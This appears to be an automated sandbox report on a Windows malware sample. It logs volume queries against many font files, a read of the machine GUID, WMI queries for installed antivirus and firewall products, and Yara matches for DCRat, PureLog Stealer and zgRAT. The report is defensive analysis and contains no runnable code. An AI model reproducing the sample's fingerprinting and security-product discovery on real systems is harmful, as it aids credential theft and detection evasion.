Source: C:\Windows\Temp\Crashpad\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe	Queries volume information: C:\Windows\Temp\Crashpad\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Temp\Crashpad\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe	Queries volume information: C:\Windows\Temp\Crashpad\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Users\user\Desktop\0wdppTE7Op.exe VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\calibril.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\Candaral.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\Candarali.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\corbell.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\corbelli.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\BOD_B.TTF VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\BRLNSB.TTF VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\CALIST.TTF VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\CHILLER.TTF VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\COLONNA.TTF VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\COOPBL.TTF VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\COPRGTB.TTF VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\CURLZ___.TTF VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\DUBAI-REGULAR.TTF VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\DUBAI-BOLD.TTF VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\ENGR.TTF VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\ERASMD.TTF VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\ERASDEMI.TTF VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\FELIXTI.TTF VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\FRABK.TTF VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\GARABD.TTF VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\GIGI.TTF VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\GILB____.TTF VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\GILBI___.TTF VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\GILC____.TTF VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\GLECB.TTF VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\GOTHIC.TTF VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\GOTHICB.TTF VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\GOUDOS.TTF VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\GOUDOSB.TTF VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\HARLOWSI.TTF VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\HARNGTON.TTF VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\HTOWERT.TTF VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\HTOWERTI.TTF VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\ITCEDSCR.TTF VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\LFAX.TTF VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\LTYPEBO.TTF VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\MAGNETOB.TTF VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\OCRAEXT.TTF VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\PERTILI.TTF VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\ROCK.TTF VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\ROCKB.TTF VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\ROCKEB.TTF VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\ROCKBI.TTF VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\ROCC____.TTF VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\ROCCB___.TTF VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\TCM_____.TTF VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\TCMI____.TTF VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\TCBI____.TTF VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\VINERITC.TTF VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Fonts\arialbd.ttf VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Users\user\Desktop\0wdppTE7Op.exe VolumeInformation

Source: C:\Users\user\Desktop\0wdppTE7Op.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\0wdppTE7Op.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM FirewallProduct

Stealing of Sensitive Information

Yara detected DCRat

Source: Yara match	File source: 00000000.00000002.1799154968.00000000129D7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 0wdppTE7Op.exe PID: 7436, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0wdppTE7Op.exe PID: 8008, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: 0wdppTE7Op.exe, type: SAMPLE
Source: Yara match	File source: 0.0.0wdppTE7Op.exe.150000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1666969105.0000000000152000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: C:\Program Files\Windows NT\TableTextService\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe, type: DROPPED

Yara detected zgRAT

